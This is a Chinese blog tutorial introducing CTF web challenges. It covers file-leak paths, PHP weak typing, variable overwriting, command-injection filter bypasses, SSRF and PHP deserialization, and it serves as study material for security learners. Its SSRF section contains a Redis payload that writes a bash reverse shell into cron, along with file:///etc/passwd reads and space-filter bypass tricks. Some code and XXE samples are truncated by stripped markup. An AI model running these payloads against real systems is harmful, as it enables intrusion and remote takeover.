这应该是一个系列的文章，主要讲述的是CTF中的Web内容。
当然，对于作者这种CTF中Loser，这个系列的文章与其说是总结梳理，不如说是预习笔记。
最后的一年半，不知道以后还能在这些没用的东西上搞多久······

01 CTF Web介绍

CTF中的Web题型，就是给定一个Web网站，选手要根据题目所提示的信息，找到网站上的flag字符串。
做题的方法类似于渗透测试，但通常不会是一个完整的渗透测试，而是用到渗透测试中的某一个或某几个环节。可能涉及信息搜集、各类漏洞发现与利用、权限提升等等。
为了获取flag，可能需要拿到管理员权限，数据库权限，甚至获取网站所在服务器的权限。

一、所需知识

语言：PHP、Python、JavaScript...
数据库：MySQL、MSSQL...
服务器：Apache、Nginx...
Web框架：ThinkPHP、Flask...
语言特性：弱类型、截断...
函数特性：is_numeric、strcmp、eregi...

1.HTTP抓包/改包

首先要知道HTTP请求、响应流程，详细了解可以参考《HTTP权威指南》。（很厚的一本书，大牛们爱用这本书装B，Web领域的“九阳真经”，把这本书啃下来就是张无忌了，可是大多数人包括我在内总想练速成的“葵花宝典”）
浏览器插件（Firefox）：个人觉得 F12 + Hackbar就够了，而且最新的Firefox将 F12和Hackbar 集成到了一起，用起来很顺手。
工具：burpsuite神器，工具是好但是小白用起来可能需要一些时间去专门学习和熟悉。下载地址、 FreeBuf教程、 i春秋教程

2.Web前端

HTML+CSS+JavaScript：前端三剑客，学这个很轻松，很容易在信安的路上越走越偏，然后变成前端开发者。
编码：url编码、html编码、js编码，可以参考这篇文章。
Cookie，缓存
跨域问题，CSP策略

3.Web后端

PHP：官方文档
Python：廖雪峰Python教程、官方文档
PHP框架：ThinkPHP、Yii
Python框架：Flask、Tornado、Django
Go框架：beego
Session

4.数据库和服务器

了解常见数据库及区别：MySQL、Oracle、MongoDB
数据库操作：基本语句、文件读取、写入、权限、dnslog
服务器：配置主流服务器，Apache、Nginx
缓存引擎：Redis、Memcached

5.Linux

shell
Lua
Docker

6.常见web漏洞


XSS	文件包含/上传
SQL注入	反序列化
CSRF	未授权访问
SSRF	目录遍历
命令执行	业务逻辑漏洞
XEE

7.工具

sqlmap
Burpsuite
Hackbar
Proxy SwitchyOmega（浏览器代理插件）
AWVS （web漏洞扫描）
Kali（黑客的专属系统）

二、题目类型

1.筑基（入门题目）

查看页面源代码，flag在注释里
查看HTTP请求/响应包，flag在cookie、响应头中
备份文件（.bak，.swp，.swo）泄露
根据提示修改请求头（User-Agent、X-Forwarded-For）
JSFuck

(1)例子

HCTF2016 Web1：2099年的flag
根据提示：

only ios99 can get flag(Maybe you can easily get the flag in 2099)

猜测可能需要改造UA。
将User-Agent修改为Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1，这个需要对照Safari浏览器发出的UA进行修改。

ios99

(2)文件泄露总结

关于泄露的好文章

备份文件：.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
源码压缩包：www.zip、root.zip、web.zip
git / svn泄露：
git泄露：www.xxx.com/.git/config，之后使用工具GitHack可以获取源码 python GitHack.py URL/.git
svn泄露：www.xxx.com/.svn/entries，利用工具dvcs-ripper获取源码
其它文件泄露：
.idea目录泄露:（使用了IntelliJ IDEA的工程，可泄露目录结构），详情可看这里
.DS_Store：www.xxx.com/.ds_store，工具ds_store_exp
.pyc文件:（python编译后的字节码文件）

(3)请求修改、重放

这里主要用好Burpsuite、浏览器F12就够了，Firefox上的Hackbar也很方便，工具再多也没用。

(4)JSFuck

经过JSFuck编码后的JavaScript代码，要查看其运行结果非常简单，直接在页面中进行调用即可，或者在Chrome浏览器的开发者工具中的Console中执行即可。

JSFuck.jpg

2.结丹(常规题目)

一个存在漏洞的网站
拿到数据库上的flag（SQL注入）
拿到服务器上的flag（命令执行、文件上传）
拿到管理员的cookie，flag在cookie里（XXE）
其它的一些漏洞利用（条件竞争、SSRF、XXE）

(1)SQL注入

实验吧：
简单的sql注入
简单的sql注入2
简单的sql注入3

(2)XXE

后端获取一个xml文档

 
 读取本地文件 
 
]>
&file;
 
 SSRF 
 
]>
&url;
 
 XEE练习 + Writeup 
 3.元婴(困难题目) 
  
  漏洞综合利用（e.g. 注入+SSRF+反序列化） 
  少见的姿势（e.g. 字符命令执行） 
  少见的语言（Ruby、Perl） 
  
 例子： 
 HITCON2017:
 babyfirst-revenge
 babyfirst-revenge-v2 
 02 CTF Web技巧 
 一、PHP弱类型 
 弱等于号 " == " 
 false==""==0==NULL //true
"admin1"==0 //true
"1admin"==1 //true
"0e123456"=="0e4456789" //true
"0x1e240"=="123456" //true
0=="0e4456789" //true
[false]==[0] //true
"0x1e240"=="123456"==123456 //true
 
 例题 
 
 
 可以看一下这篇文章，从中可以得知所有"0e"加纯数字的字符串均相互弱等于，及提交a=s878926199a和b=s155964671a即可 
 md5("s878926199a") =>
  "0e545993274517709034328855841020"
md5("s155964671a") =>
  "0e342768416822451524974117254469"
 
 二、PHP函数 
 类型转换 
 md5(['a'])===md5(['b']) //对数组MD5会返回NULL
strcmp([], 'a')===NULL //PHP>5.3版本数组和字符串比较返回NULL
in_array('abc', [0])===true //'abc'会被强制类型转换
is_numeric('0e1')===true //科学计数法
in_array('abc', [0,1,2])===true //比较时会使用若等于（'abc'==0）
 
 正则表达式（ereg/eregi） 
  
  字符串对比解析，当ereg读取字符串string时，%00后面的字符串不会被解析。
 这里 a=abcd%001234，可绕过 
  
 
 
  
  如果传入数组，ereg返回NULL 
  
 三、变量覆盖 
 extract() 
 extract()函数从数组中把变量导入到当前的符号表中。
 对于数组中的每个元素，键名用于变量名，键值用于变量值。
 例如传入auth=1，则会打印出"private!" 
 
 
 parse_str() 
 parse_str()的作用是解析字符串，并注册成变量。与parse_str()类似的函数还有 mb_parse_str()，parse_str() 将字符串解析成多个变量，如果参数 str 是 URL 传递入的查询字符串(query string)，则将它解析为变量并设置到当前作用域。 
 
 
 $$ 
 $$会把变量本身的 key 当做名字，value 当做变量值 
 $value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 这个函数会把 $_CONFIG 变量销毁
      unset($$key);
    }
  }
  if ($_CONFIG['extraSecure'] == false){
    echo 'flag{****}';
  }
?>
 
 练习 
 实验吧 天网管理系统 
 四、命令执行 
 PHP中执行系统命令的函数 
 system:     system("whoami");
eval:       eval("phpinfo();");
assert:     assert("phpinfo()");
exec:       echo exec("whoami");
passthru:   passthru("whoami");
shell_exec: echo shell_exec("whoami");
 
 Bypass空格过滤 
 <符号
 cat
 $IFS符号
 cat${IFS}flag
 cat$IFS"flag"
 制表符
 cat flag
 
 命令分隔符 
 | 符号 
 amber@MAC:~/$    echo 1|echo 2
2
 
 ; 符号 
 amber@MAC:~/$    echo 1;echo 2
1
2
 
 &&符号 
 amber@MAC:~/$    echo 1 && echo 2
1
2
 
 利用$()，``执行命令 
 $()，``会将字符串当做命令执行，并返回结果 
 amber@MAC:~/$    echo $(whoami)
amber
 
 amber@MAC:~/$    echo `whoami`
amber
 
 结合printf使用，可以绕过一些限制 
 amber@MAC:~/$    $(printf$IFS"\167\150\141\155\151")
amber
 
 amber@MAC:~/$    $(printf$IFS"\x77\x68\x6f\x6d\x69")
amber
 
 练习 
 http://web.jarvisoj.com:32798/ 
 五、SSRF技巧 
 SSRF介绍 
 服务器获取用户传入的url，并访问，如果不加过滤，可能导致内网探测、文件读取、攻击内网服务等 
 
 
 常出现在离线下载，站长工具，远程头像上传等功能中 
 SSRF攻击 
 SSRF文件读取，内网探测 
 file:///etc/passwd
dict://127.0.0.1:3306
 
 SSRF攻击内网服务（redis为例）
 修改dbfilename，将反弹shell的命令写入定时任务 
 set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ 127.0.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
 
 SSRF防御 
 过滤传入url的host（有没有问题？） 
 '10.255.255.255',20=>'172.31.255.255',16=>'192.168.255.255');
        foreach ($data as $k => $v) {
            if ($long >> $k === ip2long($v)>>$k) {
                return true;
            }
        }
    }
    $url = $_GET['url'];
    $host = parse_url($url)['host'];
    if (isLocal(gethostbyname($host))) die();
    $ch = curl_init($url);
    echo curl_exec($ch);
    cuel_close($ch);
?>
 
 parse_url和curl解析差异 
  
   
    
     
    
   
  
    SSRF.png 
   
  
 IP双重绑定：如果同一个域名绑定了两个IP，那么PHP中的gethostname会随机返回一个。
 但是curl在访问这种域名的时候，由于绑定的是两个IP，curl会尝试访问每一个IP，最终返回有效的那个 
 六、反序列化 
 介绍 
  
   
    
     
    
   
  
    序列化 
   
  
 数组序列化 
 原数组：['a'=>'str', 'b'=>1, 'c'=>false]
 序列化后：a:3:{s:1:"a";s:3:"str";s:1:"b";i:1;s:1:"b";i:1;s:1:"c";b:0;} 
 对象序列化 
  
   
    
     
    
   
  
    对象序列化 
   
  
 对于PHP中的类C，属性data="abc"会被序列化为不同的形式（%00代表空字符）
 Public属性：s:4:"data";s:3:"abc"
 Private属性：s:7"%00C%00data";s:3:"abc"
 Protected属性：s:7"%00*%00data";s:3:"abc" 
 其它数据类型 
 String（字符串）：s
 Integer（整型）：i
 Bool（Bool型）：b
 NULL：N
 Array（数组）：a
 Object（对象）：o 
 魔术方法 
 __construct方法在对象诞生时调用，一般用来为成员属性赋初值 
 function __construct($name="amy", $sex="male", $age=20)
{
  $this->name=$name;
  $this->sex=$sex;
  $this->age=$age;
}
 
 __destruct方法在对象销毁时调用 
 class C{
  public function __destruct() {
    echo "The object is destructed.";
  }
}
 
 __toString方法在打印对象时调用 
 class C{
  public function __toString()
  {
    return "This is C";
  }
}
 
 __sleep方法在对象序列化时调用 
 class C{
  public function __sleep() {
    echo "serialized";
  }
}
$c = new C;
serialize($c);
 
 __wakeup方法在对象反序列化时调用 
 class C{
  public function __wakeup() {
    echo "unserialized";
  }
}
unserialize('0:1:"c":0:{}');
 
 __call方法在试图调用一个无法访问（不存在、无权限）的方法时调用 
 class C{
  public function __call($name, $arguments) {
    echo "called";
  }
}
$c = new C;
$c->a();
 
 PHP中可以利用的内置类 
 SoapClient(__call方法调用时导致SSRF) 
 $a = new SoapClient(null,array('uri'=>'http://xxx.cat8080',
'location'=>'http://xxx.cat:8080'));
$b = serialize($a);
$c = unserialize($b);
$c->a();
 
 Directorylterator(__construct方法调用时导致列目录) 
 $c = new DirectoryIterator(".");
foreach($c as $cc) {
  echo $cc,"
";
}
 
 练习 
 http://web.jarvisoj.com:32784/
 Writeup

CTF | Web安全 Part1：基础知识

01 CTF Web介绍

一、所需知识

1.HTTP抓包/改包

2.Web前端

3.Web后端

4.数据库和服务器

5.Linux

6.常见web漏洞

7.工具

二、题目类型

1.筑基（入门题目）

(1)例子

(2)文件泄露总结

(3)请求修改、重放

(4)JSFuck

2.结丹(常规题目)

(1)SQL注入

(2)XXE

3.元婴(困难题目)

例子：

02 CTF Web技巧

一、PHP弱类型

弱等于号 " == "

例题

二、PHP函数

类型转换

正则表达式（ereg/eregi）

三、变量覆盖

extract()

parse_str()

$$

练习

四、命令执行

PHP中执行系统命令的函数

Bypass空格过滤

命令分隔符

利用$()，``执行命令

练习

五、SSRF技巧

SSRF介绍

SSRF攻击

SSRF防御

六、反序列化

介绍

数组序列化

对象序列化

其它数据类型

魔术方法

PHP中可以利用的内置类

练习

你可能感兴趣的:(CTF | Web安全 Part1：基础知识)